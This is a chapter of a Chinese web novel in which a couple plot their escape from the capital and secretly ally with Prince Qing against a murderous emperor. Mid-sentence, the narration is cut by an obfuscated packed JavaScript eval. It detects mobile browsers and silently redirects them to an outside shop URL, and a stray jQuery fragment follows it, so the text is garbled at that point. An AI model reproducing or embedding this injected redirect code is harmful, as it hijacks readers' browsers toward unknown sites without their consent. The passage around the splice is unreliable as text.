夫妻两人酒足饭饱的从酒楼出来,满足的相视一笑。
“夫君,他家蜜汁藕不如西川的地道,不过鱼头倒是做得不赖,下回我带你去个更好的馆子,这京城,我可比你熟多了!”
苍夜眨了眨眼,捏了一下青绵的脸蛋:“这是夫人从小长大的地方,自然熟,只是夫人,眼下咱们最要紧的是平安回到西川,可不是吃遍全京城。”
青绵这才想起二人还身处险境,她赶紧收了笑意,小声问道:“倒把正事忘了,我们什么时候动身返回?”
苍夜环顾了一下四周,在青绵耳旁低语道:“我那位皇兄,是不会轻易放咱们走的,如今他身边有高人指点,咱们不能大意,何况要走的不止你我,还要带上太妃和知意,难度只会更大。”
“明晚那场宴请,怕是场鸿门宴吧。”青绵神色一沉,“今日没能将我们拿下,明晚他绝不会轻易放过这个机会。”
“明日会有皇戚国戚和众大臣及家属,想必他不会做的太过明显!但我们也不必做的太恭敬,以防他狗急跳墙!”
青绵听得有些茫然:“难道咱们不该……小心谨慎些吗?”
“他留我们活到今日,不过是要在满朝文武跟前继续扮演他的仁君罢了,如果我们处处周全,把顾全大局的好人全做了,那他还有什么面具可戴?一旦这份体面荡然无存,便再没有什么东西能捆住他的屠刀了!”
青绵这才恍然大悟,看来还是这狼适合弯弯绕的权谋把戏,自己还是太嫩了些。
青绵瞬间豁然开朗,一脸狡黠:“那狗皇帝亲手灭我了满门,若让我对他卑躬屈膝,那可真就是在难为我自己!既然不用刻意恭顺,那可真是遂了我的心意!”
苍夜无奈低笑一声,“夫人心里憋着气,明日宴席上尽管把气撒出来,只是记住,闹到七分便好,留三分余地,咱们要的是痛快痛快,可不是把自己搭进去。”
闻言,青绵唇角立刻勾起一抹坏笑:“夫君放心!绵儿心里门儿清,明日宴上百官齐聚,我定让这位九五之尊,好好记上一笔,刻骨铭心!”
===
青绵本以为该回宫了,苍夜却牵着她的手,没往宫城的方向走,而是七拐八拐地绕进一条僻静的小巷。
“带你去个地方。”苍夜眼底带着几分故弄玄虚的兴致。
青绵满心疑惑,怎么感觉这京中他比自己还熟?可转念一想,他活了四千多年,这人间的街巷里弄,自然比她这个半路来的要熟悉得多,便也不再多问,只由着他牵着自己往前走。
他们在一处毫不起眼的院门前停下脚步,门外看起来很是平常,觉得也就是一个小门小户人家的宅院,若自己不经意从门前经过,估计都不会多看一眼,然而,一踏进去,青绵便愣住了。
院落的格局,回廊的走向,檐角的雕花,甚至连那几株花木栽种的位置,处处都有种熟悉感。
“这……怎么跟齐府这么像?”她四下张望,越看越诧异,忍不住喃喃出声。
苍夜负手站在她身后,嘴角露出一抹浅笑:“眼力不错。”
青绵猛地回头:“这宅子是你置办的?”
“百年前就买下了,原想着来人间游玩时能有个落脚之处,没料到,这一世竟派上了用场。”
青绵怔了怔,忽然想起从前在小晖山时他曾说过的话,他说悠悠数千载,他名下洞天仙山、人间华宅,多得连自己都数不清,那时她只当他是夸口,如今站在这座庭院里,方知他并非虚言。
她环顾四周,目光在熟悉的景致上流连片刻,忍不住小声调侃:“夫君,敢情你这四千年来,就只设计过这一种院子?回廊一个走向,花木一个位置,连檐角雕花都懒得换个花样,也不嫌腻得慌?”
苍夜闻言,凑到她身前,眉梢一挑,笑得无赖:“你又不是不知道,为夫最是专情,不止院子建造得一样,我心里的人一旦认定,也不会变。”
青绵被他这一句说得脸颊微热,抬手轻推了下他的胸膛,嗔道:“油嘴滑舌,给你根杆就往上爬!”
苍夜顺势攥住她作乱的小手,放在嘴边亲了一口:“景致无需多变,佳人仅此一位,与其费心翻新庭院,不如好好偏爱我的小羊。”
正说着,身后忽然传来一阵脚步声。
“六弟——”
一个男声响起,苍夜与青绵同时回头,便见周青承与一名陌生男子一同站在不远处,那男子身形偏瘦,举手投足间却能见几分天家气象。
“王爷,这位是庆王。”周青承一边走近,一边连忙出声引荐。
苍夜心下了然,这便是四皇子南风过境,此人的母族没什么势力,皇帝上位后,他只能在人前装出一副懦弱庸碌的模样,也正因如此,才侥幸避过皇帝的猜忌与清算,苟全了性命。
“哥哥,你怎么也……在这?”青绵一脸疑惑,目光在周青承与那男子之间来回转。
苍夜忙低下头,低声向她解释:“不是我要带他过来的,是他非要死皮赖脸跟过来的。”
说话间,四人已向彼此靠拢,苍夜唤了声:“四哥。”
南风过境也上前一步,与苍夜短暂相拥,彼此拍了拍对方的肩背。
“我与六弟近二十年未见,若在大街上遇见,恐怕都认不出你来了。”南风过境一边拍着他的肩,一边感叹。
苍夜顺着他的话,轻叹了一声:“天家最是无情,明明是同根生的兄弟,却无缘相聚,连见上一面,都要看这冥冥中的造化。”
“是呀,天家最是无情!”南风过境重复了一句,似乎对这句话体会颇深。
“对了舅哥,你怎会和四哥在一起?”苍夜问道。
周青承拱了拱手,刚要回答,却发现苍夜脖颈上的抓痕,连忙紧张问道:“王爷,您这是怎么了?”
苍夜突然想起脖子上的被妻子暴揍留下的伤痕,夫妻二人尴尬短暂的对视了一眼,苍夜道:“无妨,被猫抓了一下。”
“猫?”周青承一脸不解还想再问,却被苍夜一个眼神憋了回去,他赶紧转回正题:“早前皇家秋猎,我与庆王殿下偶然结识,席间对饮数杯,也算有几分交情,今早我在城中戏楼闲逛,恰好偶遇殿下,便结伴一道过来了。”
这番话说得轻巧自然,听着像是一场机缘巧合,可实情并非如此,这是苍夜和周青承计划好的,苍夜虽远离京中,但京中大致情况他还是了解的,这位庆王看似闲散无能,整日流连戏楼风月之地,醉生梦死,实则是靠着一副浑噩皮囊韬光养晦,以此打消皇帝忌惮,得以偷生。
所以今日一早,周青承是刻意寻去戏楼,主动找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887004|212580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上了南风过境。
话音落下,庆王眼里闪过一起惊诧,接过话头:“说起来,我今早撞见周兄时,着实惊了一跳,当年周家满门倾覆,朝野上下都认为周家除了王妃并无其他人生还,本王万万没想到,你这小子竟还安然活着。”
“此事曲折繁多,一言难尽,外头风大,我们进屋细说。”苍夜环顾了一下四周说道。
四人抬脚入了正屋,掩上房门,隔绝了院外所有声响。
屋内几人围坐一席,卸下了外头的客套伪装,这一谈,便是整整一个下午。
过往那些被皇室掩盖的肮脏旧事都已揭了出来,当今圣上狼子野心,当年弑父杀弟,踩着至亲血肉篡夺皇位,登基之后又步步狠绝,威逼朝野百官俯首臣服,对内残暴专政,对外更是卑躬屈膝,屡次暗中勾结北狄和南沃发动对西川的战争,祸乱一方百姓!
这桩桩件件恨的人直咬牙!
不知不觉中,窗外天光渐暗,南风过境长长吐出一口气:“六弟,我自知本事远不及你,手中权势更是不值一提。”
他抬眼看向苍夜,语气郑重无比,“但我隐忍蛰伏这么多年,暗中培养了一批忠心死士,足以暗中为你们保驾护航,我定会拼尽所有,助你们一行人安然离开京都,返回西川。”
话音一顿,他言语更加诚恳:“我只求六弟能信守承诺,待你安稳重回西川之后,务必助我倾覆朝堂,除掉这祸乱天下的狗皇帝!”
苍夜也是一脸郑重,拱手说道:“四哥放心,此人一日不除,我心头之恨便一日难消,西川一战,多少百姓流离,十万将士埋骨沙场,这笔仇,本王必定讨回来!如今京中,我唯独信得过四哥一人,倘若来日四哥得登大宝,还望信守今日之约,护西川安稳,万民太平。”
===
夜色已深,青绵和苍夜乘着马车赶往宫门,他们需要在宫门落下时赶回宫中。
刚才与庆王的一番结盟说辞犹在耳畔,青绵心头萦绕着一丝疑惑,她开口打破沉寂:“夫君,难道我们真要和庆王结盟,助他拿下皇位吗?”
苍夜闻言,鼻腔里溢出一声嗤笑,他慵懒倚在软垫上,长臂一伸,将身旁的青绵揽进怀里:“为夫才不在意谁当皇帝,也不想掺和这朝堂夺权的烂事,万里江山是谁的,与我无关,为夫从头到尾,只在乎你,在乎我们一家人能不能安然无恙,平安返回西川。”
青绵满眼不解:“那你今日对着庆王说得那般恳切,还许诺鼎力相助,那岂不是……”
话未说完,便被苍夜截断:“我若不那般假意许诺,推心置腹,庆王怎会放下戒心,全心全力为我们扫清障碍?”
青绵听完,撇了撇嘴,轻轻戳了戳他的胸口,嗔道:“这般利用他人,未免也太损了点吧。”
苍夜眼中那份漫不经心倏然褪去,正色道:“为夫绝不会为了他们的皇权争斗去掀起战乱,朝堂之上那些皇子的争权,是他们的私心贪欲,凭什么要让边境无辜的士兵浴血牺牲,让天下百姓流离失所?”
说话间,马车轻轻一晃,已在宫门前停稳,苍夜低下头,额头轻抵着她的额头:“我只要我的小羊平安喜乐,让你这一世剩下的时光轻松自在,至于谁最后坐得上那龙椅——”
他哂笑一声,满是不屑:“与为夫何干?”